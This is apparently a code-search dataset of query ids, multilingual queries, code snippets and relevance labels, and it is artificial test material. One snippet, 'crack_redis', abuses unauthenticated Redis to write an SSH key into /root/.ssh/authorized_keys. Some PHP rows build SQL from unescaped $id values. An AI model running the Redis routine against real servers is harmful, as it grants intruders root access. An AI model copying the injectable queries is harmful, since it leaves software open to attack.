query_id
string
corpus_id
string
query
string
code
string
label
int64
467546014e4405df9d15994124acf36b
455888f83b74eb8174037356bd8822cf
Get a Django Rest Framework request from an address using a Request Factory.
class HandlerTestCase(asynctest.TestCase): def get_request(self, *args, **kwargs): return get_request(self.app, *args, **kwargs)
0
62b1cc59e6bd3692b474f260e8221642
d647e7c1e0886de2a53ad0d6d14c92cb
Tell if the index can handle the given fields + suffixes For the parameters, see ``can_filter_fields`` Returns
class BaseIndexedModel(BaseModel, metaclass=BaseIndexedModelMetaclass): def is_indexed_with(self, **kwargs): return all( any( v in self.index_keys(index_name) for v in self.search_keys(**{index_name: index_value}) ) for index_name, index_value ...
0
a8731a0ab87d3a9a5ae1027dcd18de83
07a705368216325f29f1a396e52633e6
Проверка возможности перехода на предыдущую гифку
{ if (reachedEnd || totalNumber < 0 || (totalNumber > 0 && existingStickerNumber == totalNumber)) { return false; } else { return true; } }
0
5ce7112297e73730d486db8217968923
0eada4cca5d73ba3558c403829aad404
Sets the scaling factor that determines how much the bulb glows. Larger values will cause the bulb to reach it's maximum glow sooner.
void setScale(double scaleFactor);
1
654eb3bcc4d146961d2aceffb84d942f
4abd68dc6b38ea7b88bfdab7cb7fdfab
GET /school_infos GET /school_infos.json
class SchoolsController def show end
0
fe018613e0b5c2be99756ccbee0bdcc4
eee97d946d18cde515abb9d73bd17b93
get the AWS policy info from the specified file
getPostPolicy(fileName, imageObj) { let vm = this; let apiName = 'AdminModule'; let path = '/post-policy'; let apiInit = { queryStringParameters: { fileName: fileName } }; API.get(apiName, path, apiInit).then(response => { console.log("response from AWS is... ", ...
1
6bb1535ec61433e73d7f1b71533b090b
248a865b21db346240697a5c86da6412
list functions in node details.
def get_node_details(node_name): node_details = {} for key,val in config_map.items(): if key.upper().startswith(node_name.upper()+'.'): key = key.upper().replace(node_name.upper() + '.', '') node_details[key] = val return node_details
0
79e06cdabfe1bb535dd8b09722f059da
5f9b5f6be8a5634a8c4c4a1187f4cfa4
From MInputStreamObserver - Indicates that the input stream has been closed.
void CImapSessionManager::InputStreamCloseInd(TInt aError) { __LOG_FORMAT((KDefaultLog, "CImapSessionManager::InputStreamCloseInd - Error %d, State %d", aError, iState)); __ASSERT_DEBUG(iState == EStateUpgradingSSLWrappedSocket, TImapServerPanic::ImapPanic(TImapServerPanic::EUnexpectedInputStreamClos...
1
de43fb6fbfe8fa1cb470fcc45d65aeef
c167194963e6a048c25b60b3dc038f7a
Function to generate errors, generates generic "bad request" by default
func errorBadRequest(c *gin.Context, message any) { errorJSON(c, entity.Error{ Code: http.StatusBadRequest, Message: message, Error: nil, }) }
1
25e1e7d38db10c88cde3528cd02cfac5
150f1532e2f07b4a6d9d7ba71362f7ce
Add results to an existing TimeSeriesCollection object. The monitoring API returns paginated results, so we need to be able to add results to an existing TimeSeriesCollection object.
timeseries = pd.Series(chunk["values"], name=chunk["name"]) timeseries_id = chunk["id"] return {"id": timeseries_id, "result": timeseries.sum()}
0
b7213c947fc51f8f27505672ced3b6b9
95147ac86acc324ec8db388c887564e0
Gets the specific information from a block in the IAT.
public abstract class AbsBlockchain implements AddressAPI, WalletAPI, AssetAPI, BlockchainAPI, MetadataAPI, TransactionAPI @Override public abstract String getInfoOfBlockAtHeight(BigInteger heightOfBlock);
1
387a6e298f584350a5f8dab0eb920d63
518b2c9380e2bfaccda23491ffcd726d
The size of the randomly generated nonces.
class _RandomIdState: def byte_length(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "byte_length")
1
89b8498cf1d18c62b983c5f13e5ef3c9
c6f8c88e7da5fe630efe5a86c4e9d119
Replace the private functions :meth:`._eval`, :meth:`_adj`, :meth:`._gram` with jitted versions.
self.eval_lprob_f = None self.eval_comps_f = None self.eval_grad_f = None self.eval_score_f = None self.eval_us_f = None
0
81c7d0720c02ba082a4a4702621bab05
75974f8f3de495cbc687c3ead081c282
记录用户某专题下在特定模块做过的知识点图谱。
$topic_service = new TopicService(); $kmap_code = $topic_service->getKmapCodeByTopicId($topicId); $topic_v2_service = new TopicV2Service(); $knowledgeList = $topic_v2_service->getKmapInfoByKmapCode($kmap_code); return $knowledgeList; }
0
9a78a5303cf97cbfa81af530f98e0680
bc8ee6e6c3d7c756dc80a8a1afae6a25
判断是否以字母开始
public class DataUtils public static boolean isLetter(String s) { char c = s.charAt(0); int i = (int) c; if ((i >= 65 && i <= 90) || (i >= 97 && i <= 122)) { return true; } else { return false; } }
1
e1e44692a5143f9e95eb85e5199ff010
eeaac092f6746346b0339cab9a4aef14
Advanced section info callback.
function cah_ajax_section_advanced_cb( $args ) { ?> <p>User Customization Settings</p> <? }
1
2e02ac4d6310246821bd4404e7a9001e
f7ad21387894659d3580c1b94af064a9
获取QrCodeLog的分页列表信息
public List<LogAutoQrCodeProvingFormMap> findAutoQrCodeProvingPage(LogAutoQrCodeProvingFormMap autoQrCodeProvingFromMap);
1
4428e744c564bccd6715fa364b5df451
d4153fc7bfe29e8bf058816a6f61d28c
this method is compulsory to define in child class
class Model: def login(self): raise NotImplementedError
1
eeddd5020e125abe223a2236de1ae945
bd6f9c36668262f7831610b942b83e4f
Validates a dataformat object and returns an array of errors
{ $errors = []; foreach ($arr as $key => $value) { switch ($key) { case 'link-heading': $errors[$key] = validateHeading($value); break; case 'link-url': $errors[$key] = validateUrl($value); break; case 'l...
1
100503a4e65c02374ffe9be022daf78f
d0c511546853808c4e0f4ed19bc80cba
Allows to attach a photo to a job.
$input = Input::only('base64_string','job_id','rotation_angle'); $validator = Validator::make($input,Job::getSaveImageRules()); if( $validator->fails() ){ return ApiResponse::validation($validator); } $job = $this->repo->getById($input['job_id']); try{ $meta = $job->jobMeta->lists('meta_value','meta_k...
1
ebe96e2713b547659ad8f6d7bcfe69cc
299cb3899ab2df9421e00a611b6a38ad
返回一个具有指定字位数的数字,该数字具有很高可能性是质数。如果从rand读取时出错,或者bits<2会返回错误。
int32_t java::util::Random::next(int32_t bits) { unimplemented_(u"int32_t java::util::Random::next(int32_t bits)"); return 0; }
0
f5c978acfa6f523d2da3fe35f2a5220d
c42a655a8ef02f7c514bd58ac6184d27
Returns the hyperbolic {@code tangent} of {@code z}, i.e. <tt>-i&sdot;tan(i&sdot;z)</tt>.
final double y, final double z, final double w) { return atan2((2 * x * y) + (2 * w * z), (w * w) + (x * x) - (y * y) - (z * z)); }
0
0142dd92d4b1a9b69db711a51481e7b1
776e712bde133db91f5d8e46856ce175
Checks to see if the Dark Sky API key is configured
class TheHive def api_key? !api_key.nil? end
0
1db20572e3c5c4cb87aec0e5b4c1ff30
800b4b604f24ff6c1109e49c31655fbc
Destroy the current set of canvas objects. This is meant to be used in case the display layout is incorrect.
for dthing in self.display_things: dthing.destroy() self.display_things = [] from . import predigame as p p.garbagecollect()
1
eac79b2171ef718973de448b71e7b0f9
6670a62239ed8e75067680ba159e1d31
Returns the Phaser Group representing a given layer
class UIManager: def get_sprite_group(self) -> pygame.sprite.LayeredUpdates: return self.ui_group
0
9adbc8600f69165057aaa6c5a38e827a
df77466d52886f7a85a4e2d151370974
给定一个无序的整数数组,找到其中最长上升子序列的长度。 示例: 输入: [10,9,2,5,3,7,101,18] 输出: 4 解释: 最长的上升子序列是 [2,3,7,101],它的长度是 4。
public class Solution public int lengthOfLIS(int[] nums) { if (nums.length == 0) { return 0; } int n = nums.length; int[] dp = new int[n]; Arrays.fill(dp, 1); for (int i = 0; i < n; i++) { for (int j = 0; j < i; j++) { if (nums[i] >...
1
51cb1f1068c2e47d2efd08bc78cc9a4f
b5fa3f866cac8c18832c05bf351fd139
네이버 맵 생성
this.getEastWestSouthNorth(); jQuery.ajax({ url: "/map.do", data: jQuery("#mapForm").serialize(), dataType: "json", type: "post", cache: true, async: false, success: function(allMapList){ map.clearOverlays(); packageMapMarker(allMapList); } }); }
0
55a149425349b6aacefceaf5344abd47
8c3e896fc323c9fa18d97a7cb174724c
Is the Pokemon on the effect of helping hand ?
public boolean getHelp();
0
71620f9707edaaf9d2f6e1e073d87896
22aefa31ad305cbed083f1b39674517f
取出某篇文章及其所有子孙文章
$sql="select a_id,a_title from article where a_id in (select distinct a_id from art_art where t_id in (select a_id from art_art where t_id =$id)) and a_id != $id"; return $this->pdo->getRow($sql); }
0
4afa98bdcb160e3c6ae37e01cf98e0c2
70c910957b24eda01725d530cff741aa
角丸赤枠を挿入
{ Rect screen; { var camera = Camera.main; Vector2 left_bottom = camera.ViewportToWorldPoint(Vector3.zero); Vector2 right_top = camera.ViewportToWorldPoint(Vector3.one); Vector2 screen_size = new Vector2(right_top.x - left_bottom.x, left_bottom.y - rig...
0
73830f1b61c14e03cfd1fdbc4d31a82d
922254081b89581b5d2bf15c1b3f5fbe
装備変更後の能力値を描画
class Window_EquipStatus def draw_new_param(x, y, param_id) new_value = @temp_actor.param(param_id) change_color(param_change_color(new_value - @actor.param(param_id))) draw_text(x, y, 32, line_height, new_value, 2) end
1
6b53350ebdeda1231db0c8b0e88fbccb
a2639b07392660c81774e2ea756eb414
Normalized the update counter.
namespace Fractarium.Logic.Fractals public abstract class Fractal [MethodImpl(MethodImplOptions.AggressiveInlining)] protected static double Normalize(int iteration, double nextR, double nextI) { double value = iteration - Math.Log(Math.Log(Math.Sqrt(nextR * nextR + nextI * nextI), 2), 2); return value < 0 ?...
1
25833c039b307ec87e75869b4c7dd634
bb0f66da5967315cfb5d859f29282c2c
画像リロード
function refreshImage(){ scroller.scrollBy(0, 0); }
0
757856d7ccfcd1b12d07c9bc495fb492
bc6df23c20afb4e9e9e223bb0928459e
通过主采购单号查询采购单
PurchaseOrder getPurchaseOrderByPurchaseNo(RpcHeader rpcHeader,String purchaseOrderNo);
1
40f982b66ab318def09c14f4ddbcba05
2ee3c6b865bd5c933eb089166a8973b6
通过球员ID和球队ID查询某条记录
Order findByTeamIdAndUserId(Long teamId,Long userId);
1
53f8771c321e55db358d38eb771d24a0
ea79a4ae9e7062dbad7885798cc9a930
Create a connection to redis and select the appropriate database
Redis.client = redis.createClient({ host: process.env.REDIS_HOST, port: parseInt(process.env.REDIS_PORT + ''), no_ready_check: true, auth_pass: process.env.REDIS_AUTH ? process.env.REDIS_AUTH : '' }); Redis.client.on('connect', () => { ...
0
8070905768b50f918cdec4ba26a00672
d8390c675d36474e3f0350a0da0aaf8f
Скачиваем все данные по USA.
response = requests.get(url) df1 = pd.read_html(response.content)[0] df1 = df1.iloc[11:, :] df1 = df1.rename(columns=df1.iloc[0, :]).iloc[1:, :] df1['United States of America'] = df1['United States of America'].apply(lambda x: x.replace(' ', '')).astype(object) df1.to_csv('data/scraped.csv') ...
1
acdf9e5fe05597c931d9db60f7eacbbc
d6a89d1a3efe7ee0908ad1f3d213bbe9
Returns a complex array of voltages at this bus.
def CplxSeqVoltages(): return get_float64_array(lib.Bus_Get_CplxSeqVoltages)
1
202b5418d73323e97e6d0f11e3da4194
f8a7e5d9c06b44304dc98448ef874d65
Returns null because the value is generated by the database.
public class ConceptRanker public String getNullValue() { return ""; }
0
ecb89983679c2c4c251a186ca1071b0d
295eab7433350a687e30ff0c645406eb
estimating the grades by the number of each pattern and its grade.
{ int p1, p2, p3, pattern; p1 = 0; p2 = 0; p3 = 0; int spaces[] = {6, 2, 1}; if (v1 > v2){ p1++; } if (v1 > v3){ p1++; } if (v1 > v4){ p1++; } if (v2 > v3){ p2++; } if (v2 > v4){ p2++; } if (v3 > v4){ p3++; } pattern = p1*spaces[0] + p2*spaces[1] + p3*spaces[2] + 1; return pattern; }
0
878930a8a22d65f3284b8a4be6ac562a
2fd275df2cb2bbeff2ee841706fc2ed5
https://www.codewars.com/kata/583df40bf30065fa9900010c
function box(n) { function boxTop(size) { let b = ''; while (size > 0) { b += '-'; size--; } return b; } function boxSide(size) { let num = size; let c = ''; while (num > 0) { c += '-'; num--; } const split = c.split(''); const map = split.map((s, i) => { if (i > 0 && i < split.len...
1
24915c81e7e80b2899c9ff9b6edd76f5
a8c11a9d934069bbcd0bbf0cbd6a5dac
逆序输出第i个点的最短路径
int k = P[i][j]; if (k == 0) return; printPath(i, k); printf("%d-", k + 1); printPath(k, j); }
1
69c17613bfaf709ee7a128dcabf48e5d
256b1786cc1a56bee6651d1e2c083d6f
Returns all the files in a directory sorted by date.
class PastTestsView(v.View): def sorted_ls(self, path): mtime = lambda f: os.stat(os.path.join(path, f)).st_mtime return list(sorted(os.listdir(path), key=mtime, reverse = True))
1
883b9ddbff4b52a003fc8f87c2a243e4
33a79b4ce677d8677b98dc805e6dece8
Inputs: OI_OV_df (dataframe): 'OI_OV_XBT.csv' dataframe declaration as well as a timeframe. Outputs: Returns a Plotly Figure object
buy_price, qty, investment_total = self.calculate_num_shares_to_buy(interesting_df) tp, sl = self.calculate_tp_sl(qty, investment_total) yaxis_range = analysis_fig.layout.yaxis['range'] if tp >= yaxis_range[1]: analysis_fig.layout.yaxis['range'] = (yaxis_range[0], tp + (yaxis...
0
e8e16313bd6c469d3c44f9e665ee5644
0a848fec534132fa118a4f781c4fc0f0
使用红钥匙
def crack_redis(ipaddress): try: target_redis = redis.Redis(host=ipaddress, port=6379) target_redis.config_set("dir","/root/.ssh") target_redis.config_set("dbfilename","authorized_keys") target_redis.set("poc","nnnssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCaZljNkr2tNCzl6c5bnS6W8ayiFvujmn...
0
a439dc005f7b2ee794453c5dbfeb3e8e
4bf7a89418c90bfe6ce892409d58ec85
checks if the link x - y causes a circle path, in order to approve it or not
{ if (Math.Abs(x1 - x2) <= 1 && Math.Abs(y1 - y2) <= 1) { linked = true; } }
0
3b3d679ae65e6cf25740535b058bf74c
8ec1dc31b491567448d09c9d76d302ee
ServletContextListener implementation 判断当前运行环境,加载对应的log4j配置
public class Imp extends HttpServlet public void init() throws ServletException { String prefix = this.getServletContext().getRealPath("/"); String file = getServletConfig().getInitParameter("log4j-config-file"); if (file != null) { PropertyConfigurator.configure(prefix + file); } }
0
4cb5694bd84dcd733bea76a94c3ca066
466ff9ceb104a4d9d857f42ce84e158e
@brief Attempt to undo a move in sudoku, first checking if it is valid to do so. message if not.
{ int v; if (!turn) { fail_("undo_move: no moves to undo"); } turn--; empty_squares++; v = abs(moves[turn]); set_p(moves[turn] > 0 ? 1 : 2); if (track_board_value) { revert_board_value(v); board_value = board_values[turn]; } board[v] = 0; update_nearby(v, -1); revert_threats(v); ...
1
03abd3af72bbb3ccb72e1d4bdd7da778
ffc344e489336d264eb0bcea949980e1
@brief 电流模式时设置robomodule的最大输出pwm和电机电流
void setCMMotor() { CanTxMsgTypeDef pData; CMGMMOTOR_CAN.pTxMsg = &pData; CMGMMOTOR_CAN.pTxMsg->StdId = CM_TXID; CMGMMOTOR_CAN.pTxMsg->ExtId = 0; CMGMMOTOR_CAN.pTxMsg->IDE = CAN_ID_STD; CMGMMOTOR_CAN.pTxMsg->RTR = CAN_RTR_DATA; CMGMMOTOR_CAN.pTxMsg->DLC = 0x08; CMGMMOTOR_CAN.pTxMsg->Data[0] = (uint8_t)(CMFLInte...
0
1256c2ddc91487066d11e1074527024a
dea6060e4dc9932c1840333764a4effe
Sinartisi gia tin ektiposi ton stoixeion tis sikeuis
$query = " DELETE FROM `PristatoSiunta` WHERE `id`='{$id}'"; mysql::query($query); }
0
87e32676b11b537e1652ffbd03ef542d
27e95c3b2402d5d8b292cf1775c519f3
Pinball loss for multiple quantiles
def quantile_loss_q(q): def quantile_loss_wrapper(y_true, y_pred): return quantile_loss(y_true, y_pred, q=q) return quantile_loss_wrapper
1
fa2ff15fa67861a3dbdac1ad6298774f
c4e6420e92d6da2bafbb5288be949e01
Notifies this controller that time is up, so the "Time's up!" message is displayed.
public class UIController : MonoBehaviour public void NotifyTimeUp() { _timeIsUpMessage.gameObject.SetActive(true); _gameIsRunning = false; }
1
610fd4063aa56a4b9fed19f5780b84bd
129bd5f9319777ef4be649d33eafbff9
Should Pattern.CASE_INSENSITIVE be applied when compiling regular expressions in {@link Common#compilePattern(String)}? <p> May impose a slight performance penalty but increases catches.
public boolean areStringComparisonsCaseInsensitive() { return false; }
0
593e616967e5a50eb07e693da95c00ad
a68dae88e6b4d0011c5c0407ff985ffc
Test the fetchProgression method.
{ $this->assertTrue(GeoProgression::has(1, 1, 3)); $this->assertTrue(GeoProgression::has(3, 3, 3)); $this->assertTrue(GeoProgression::has(1, 4, 3)); $this->assertTrue(GeoProgression::has(3, 4, 3)); $this->assertFalse(GeoProgression::has(2, 3, 3)); }
0
e02e4d75437b75bb6169cc6237938abc
8ce4cd0345aadbdd22097d0020573842
Gets the inspirational quote source.
public function getSource() { return $this->source; }
1
da7d13572f66f1be965ec4c52c91004c
95e33fd5715da1cbb164ddb986c82315
ロード中全般の処理
namespace Utage [System.Serializable] public class AssetFileWork : SerializableDictionaryKeyValue, AssetFile public void LoadComplete() { cacheWriteBytes = null; if (IsDownloadOnly) { status = STAUS.LOAD_WAIT; } else { status = STAUS.USING; if (!IsLoadRetry) InitMemsSize(); stream...
1
eef99fc98c3f4c3b066c732126b97a33
6be757806fee2074e1df02cc36227128
Overlap events to handle the actors inside the spaces
for event in events_to_fire: if event[1] == SpaceEvent.CHANGE_BACKGROUND: self.set_background(event) elif event[1] == SpaceEvent.CHANGE_SPEED: self.set_speed(event) elif event[1] == SpaceEvent.CHANGE_POS: self.set_pos(event) ...
0
22e4f164a291e4c946d7517e4e0295de
c9690e6f0c49a54826727ada77c82950
Fills area connexted to (x, y) with color c
public void chargen(Paintable p, int x1, int y1, int x2, int y2, char c);
0
8ef3cabc89fd3aba8b757cc125aee3b6
382786ad4b34c26233e4e1b49786d18f
Subclass to validate if the values belong to a finite set and extract it
class FloatVal class NonEmpty def valid? @value.finite? end
0
c248118729cec361e90967eda36b669a
4f61ca1a6646586ef049797f31262a12
Once the valid TestState parameters is created with pickRandomNum, this method check if parameters already exist or no for the operator selected opName Tests are realized with the multimap testMemory
{ TESTCONDITIONS parameters; THREADPARAMS ThreadParams; bool fForce,fNoCache; SetRandomSeed(); ZeroMemory(&parameters,sizeof(parameters)); parameters.MemorySize = ParameterMemorySize(); parameters.BlockSize = 0x1000; parameters.WindowSize = ParameterCacheSize(); ThreadParams.ProcNumber = -1; ...
0
3ea3866daaee224c2967b596a7607b52
0a960001d8c6b39a630ac034a4c031d2
Gets the number of active nodes in AML compute. Returns
class BaseConnectivity(DynamicMixin, EpochMixin): def n_nodes(self): return self.attrs['n_nodes']
0
edb26b8011f16e15f17299514d4fa588
97d6f32df0e1e1656a8b0a795c4c6f88
Метод удаляет все поля таблицы
class Model extends \PDO{ public static function deteleAll() { $sql = 'delete from ' . self::$table; $stmt = self::$model -> prepare($sql); $res = $stmt -> execute(); return $res; }
1
65a4aa6e95e8d3c3a1925c610a920e9e
ad43cb66c4454a60a195879628c900bc
Очистка кэша блока
function zarilia_template_clear_addon_cache( $mid ) { $block_arr = &ZariliaBlock::getByAddon( $mid ); $count = count( $block_arr ); if ( $count > 0 ) { $zariliaTpl = new ZariliaTpl(); $zariliaTpl->zarilia_setCaching( 2 ); for ( $i = 0; $i < $count; $i++ ) { if ( $block_ar...
1
204871beb8335823d2568e1ebbdeb453
c2b2ca2a84a52f606558ce2ed2740ce4
@brief Read The Temperature Sensor Status
{ uint8_t readState_Input[2]; readI2CMaster(I2C_ADDR_7BIT | I2C_RD_CMD_BIT, readState_Input, false); DEBUGOUT("Temperature read over I2C is %d (MSB) %d (LSB)\r\n", (int) readState_Input[0], (int) (readState_Input[1] & 0x80)); }
1
4e97daf5d0c78ff44e9c5e60eaa011a1
41cc47e7167d148d84c1db5337254cd7
Luo uuden ikkunan kayttoliittymaan
namespace SytechZircon.Common.Services.UI TView CreateNew<TView, TViewModel>(TViewModel viewModel, Double width, Double height) where TView : IView, new() where TViewModel : ViewModel;
1
9c71391b0b5c785abd86e379c5e6aac1
81b025835c4ef2e78c7d0e23e137e593
Methode zur Berechnung der Regelgroesse.
namespace AufforstungMischwald internal class Simulation public double GetB() { double d = GetD(); double summeZaehler = 0; foreach (Baumart baumart in _arten) { summeZaehler += baumart.Anzahl*Math.PI*Math.Pow(baumart.Radius, 2); } ...
1
399944ea5c04ab5cc64eff32232c85af
3021e42d884e00af326d305200e44bcd
パスの文字エンコーディングを、OS のエンコーディングから UTF-8 に変換します。
if (\PHP_OS !== 'WINNT' && \PHP_OS !== 'WIN32') { return $file_path; } $internal_encoding = mb_internal_encoding(); $file_path_encoding = mb_detect_encoding($file_path, ['UTF-8', 'SJIS-win', 'eucJP-win', 'JIS', 'ASCII'], true); if ($file_path_encoding === $internal_encoding) { return $file_path; } r...
1
7ba47e9340df5f930999d3c5930f681b
7bc0b7748152cad78d30e56313054236
returns boolean whether subscribed or not
class PluginSubscriber extends AppModel public function isSubscribed() { return (bool) $this->field('id', array('Subscriber.email' => strtolower($this->data['Subscriber']['email']), 'Subscriber.confirmed' => 1)); }
1
8838d642d5ee529ca88936683c439587
09d2f5a2943d669201dc4808826eec0b
创建和服务器端的长连接;主要进行设定后续数据的发送操作;
clientHandler = new ClientHandler(); connector=new NioSocketConnector(); DefaultIoFilterChainBuilder chain=connector.getFilterChain(); ObjectSerializationCodecFactory factory = new ObjectSerializationCodecFactory(); factory.setDecoderMaxObjectSize(Integer.MAX_VALUE); factory.setEncoderMaxObj...
1
5c33d2e48b2f0a5df6e9da3946edc64f
b616f4d5d0eb420593a4b370b826d0cb
Aka the tribonacci
function tribonacci(n) { if (memo[n] !== undefined) return memo[n]; const n1 = tribonacci(n - 1); const n2 = tribonacci(n - 2); const n3 = tribonacci(n - 3); return memo[n] = n1 + n2 + n3; }
1
d4f55fbbdabe2817adf22f2f3c7ba7e4
7af2f96b0d3da9454b745496291969e3
Implements the sequence label part of the network
class SeqClassifier(nn.Module): def __init__(self, input_dim, num_seq_labels, dropout_rate=0.): super(SeqClassifier, self).__init__() self.dropout = nn.Dropout(dropout_rate) self.linear = nn.Linear(input_dim, num_seq_labels)
1
cf190c6bb4ccdc45e7e3c3322fa68f1f
c6de62e3e26fa9298a2795bc6e0544d4
Print the doubly linked list starting the end.
void DoublyLinkedList::PrintAllReversed() { PrintAllFromIndexReversed(size - 1); }
1
ea20cefa3191e721dcf7fb743577bccd
1d5f26e3a6962523b1f13322ed4f72dd
播放"全新首页"第一段Alpha渐变动画
AlphaAnimation aa = new AlphaAnimation(0.1f, 1.0f); aa.setDuration(2000); if (mRootLl == null || aa == null) { launchMain(); return; } mRootLl.startAnimation(aa); aa.setAnimationListener(new Animation.AnimationListener() { @Override ...
1
669d7f17caf0b87904f04deb5e60bb3f
639e2784728a87ba43069870d4b8ad52
Retrieves all the accounts for a customer. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True
class AccountsApi def list_customer_accounts_with_http_info(opts = {}) if @api_client.config.debugging @api_client.config.logger.debug 'Calling API: AccountsApi.list_customer_accounts ...' end local_var_path = '/accounts' query_params = opts[:query_params] || {} header_params = opt...
1
ed3b41ba9ed028af73a318c4b92ebf4a
7572a7d25fc69f62b01f002d3064a9bd
能在函数声明之前调用
function foo(x,y) { console.log("x:",x,",y:",y); var x=10; console.log("x:",x,",y:",y); function x(){ console.log("x函数"); } }
0
50fdddace6fa7e4096eef9a714cb7458
321cac7c5f63dff488ab88aef3060f1f
コントロールチェンジイベントを生成し、指定トラックに挿入する。挿入位置は時刻により自動決定する。
namespace TimeLineControl [ToolboxBitmap(typeof(TrackBar))] [DefaultEvent("Click"), DefaultProperty("nBotmPadding")] public partial class TimeLineControl : Control public void SetRelativeControl(TimeLineControl otherTimelineControl) { if (otherTimelineControl != null) { ...
0
38c4bc3a111a6ce416a9b1eead3684cc
26cf1740bd91f1c95e976fef9950008e
Gets the default manager instantiated with the specified site. Actual type of the created manager can be set through <see cref="SPModelManagerDefaultTypeAttribute"/> on the model type. If there is no <see cref="SPModelManagerDefaultTypeAttribute"/> specified, an <see cref="SPModelManager{T}"/> object is instantiated wi...
{ var webSite = ModuleCMS.Instance.WebSites.GetWebSite(webSiteName); if (webSite == null) { return null; } return GetOrAddInstance(webSite.ID); }
0
a305e7b48c05b56e2953b091f3e08328
6509735d930df434d29c3a2228f43ed5
Retrieves the specified component from NuGet.
namespace ByteDev.Nuget public class NugetPackageClient : INugetPackageClient public Task<IPackageSearchMetadata> GetAsync(string id, string version, CancellationToken cancellationToken = default) { return GetAsync(id, NuGetVersion.Parse(version), cancellationToken); }
1
c865d27e5418ff56d9695c515a9f3444
f302250b93797a93666e9066033db370
Invoked when user wants to login to currently selected backend.
function _loginUser( userLoginForm ) { Authentication.loginUser( userLoginForm, manager.backend ); }
1
3f61d36d65a8db8b2f4a71e19098e53d
174466eba1a0fbbecdb0ef66c6a60d6a
Data Provider for write
{ return array( array( array( 'module' => 'ForecastManagerWorksheets', ), false, false, false, ), array( array( 'module' => 'ForecastMan...
0
edbac313dcdad4dd9d181e333063a99e
c767e45845613d572778046a404d1ef3
Create a base user interface for operation UI classes. The method creates main widget objects in the proper containers and assigns the object names to them.
base_layout = QtGui.QVBoxLayout(self) base_layout.setObjectName('base_layout') self.lineedit = QtGui.QLineEdit(parent=self) self.lineedit.setObjectName('lineedit') base_layout.addWidget(self.lineedit) self.button = QtGui.QPushButton(self.tr("&Say"), parent=self) s...
1
5bb09fd83e3f450d365203742cfd3721
f8671ac9e6e48281591f224e530d8382
Выводит все опубликованные видео
{ $videos = auth()->user()->videos()->paginate(5); return view('admin.videos.index', ['videos' => $videos]); }
0
43589e1e3eb06b461e6a480fb0f218b5
0e7274ca9f03c19f9faab424c8d0c397
Fluxの例。
runBlocking { val sum = (1..5).asFlow() .map { it * it } .reduce { a, b -> a + b } println(sum) } }
0
7b3a1ba8966b1d9d87b98b4960301097
80da371c8503efcf90c98cbc5598e0e0
Gets usable product group.
class Rss2 extends AbstractOfferType private function getSelectedProductGroupIds(\Export\Model\Orm\ExportProfile $profile) { $selected_product_ids = $this->getSelectedProductIds($profile); if(empty($selected_product_ids)) return []; $groups_ids = \RS\Orm\Request::make() ->select(...
1
31db1f4a3fc85676f9f3c90e7324a382
6f86ebb256fa8ffeae2346970c66d3b7
Property accessor for the <code>range</code> of a property. This denotes the class that is the range of the relation denoted by the property.
namespace OclLibrary.iface.expressions CollectionRangeClass getCollectionRange();
1
dcbf9ab020565c7e5a8c17f173a24e7a
1cd4d489cb02f8e825e3b3abd841c94a
保存文件到数据库(以保存内容的形式)
public class DataConn : System.Web.UI.Page public bool SaveFileToImage(string strSQL, string DBName, byte[] byFileData) { SqlDataAdapter objDataAdapter = null; DataSet objDataSet = new DataSet(); objDataSet.Clear(); Close(); string strServerName = GetWebConfigValue("DBServerN...
1
bfb33d563693c87c675216cdf91809fe
8975164b8ad50e519be259f8f72cae1f
获取布尔型属性,默认false
String value = parser.getAttributeValue(null, attr); if (value == null) return defaultV; return Boolean.parseBoolean(value); }
1
133b74e980fd1d7ecc83a944a3701461
0aa48f305cc3631954404c8b96de6774
This reads in the data from the poisson.cfg file, sets the initial conditions, and solves Poisson's equation using SOR and Multi-Grid methods
RuntimeParser* runtime = new RuntimeParser; runtime->read_parameters_from_file(runtime_params); std::vector<double> myArgs; myArgs = runtime->return_args(); std::string condition; condition = runtime->return_cond(); solutionInitialCondition_ = solutionInitialCondition_->make_initial_conditio...
0
88b162bfc2872a6ecbb3fc45409b6a03
116f29d52e5da3643d88cb937ee49774
payee_code is only required for claim reviews where the veteran is not the claimant and the benefit_type is compensation or pension
@XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "searchClaimsExRequest" }) @XmlRootElement(name = "EBSRequest") public class EBSRequest @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "staticData" }) public static class SearchClaimsExRequest ...
0
1edb8f5a050566b556fb2e76196e8e67
e02bc9ba49e3288048a3ebe45a8a9b5a
Called when any of the registered Validators of a FormFragment failed to validate their View's contents
void onActivityTypeValidationFailed();
1
ad4fb8da4041c29d9c372c889bf4a4ce
c541634efb3b5c698759c7db8b656fc2
班级分数排行
class IndexController extends Controller public function score(){ $username = $this->logincheck(); $this->assign('list', 'score'); $this->assign('name', session('name')); $scores = M(); $sql = "select c.* from think_admin a ,think_course c where a....
0
fad0db51f5c46639f0a0b4e762087e14
36755b283fd9affe6c34f374870a7569
Returns the localized collection name of this dict collection in the language, optionally using the default language if no localization exists for the requested language.
@AutoEscape public String getItemName(String languageId, boolean useDefault);
1
1be3c7512951e74d902dc999ba8db418
7f61448ad6da3ef0f9cb03f40c5be655
revisado
cases like (1)
0
d0659cb5756eb2779e5051eb40f08e7e
9db9c40f0c33ebd937985b2d8d2ae0f3
是否可以左滑动
public class BaseActivity extends RoboFragmentActivity protected boolean onFlingToLeft() { return false; }
1
c8be19c0efd802a9c5e7afeadb524179
dac6caebf77d57b1075154b9a1b05c45
Change the field to not being actively set: SplitRowNum (CDR_BILLED.split_row_num)
function lineInit() { nlapiSetCurrentLineItemValue('item','custcol_isdelayrrchangedonedit','F'); var delayrr = nlapiGetCurrentLineItemValue('item','deferrevrec'); nlapiSetCurrentLineItemValue('item','custcol_isdelayrrchangedonedit',delayrr); }
0
60211d0eddc6f9b3c9809154d663d8a0
63ed413f902e9bd295360ca76e37c817
Use the ANSELx register to disable analog function on selected pins. Setting a bit to zero enables GPIO function.
void pinINIT_extra(){ ANSELG=0x00; WPUG = 0; ANSELF=0x00; ANSELE=0x00; WPUE=0x00; ANSELD=0x00; WPUD=0x00; ANSELB=0x00; WPUB=0x00; ANSELA=0x00; }
1
8873164424e994c98bf1266fd6331f74
4617a3afe8f3c8a9ca0e9697ffec151c
播放器圖形改為 Play
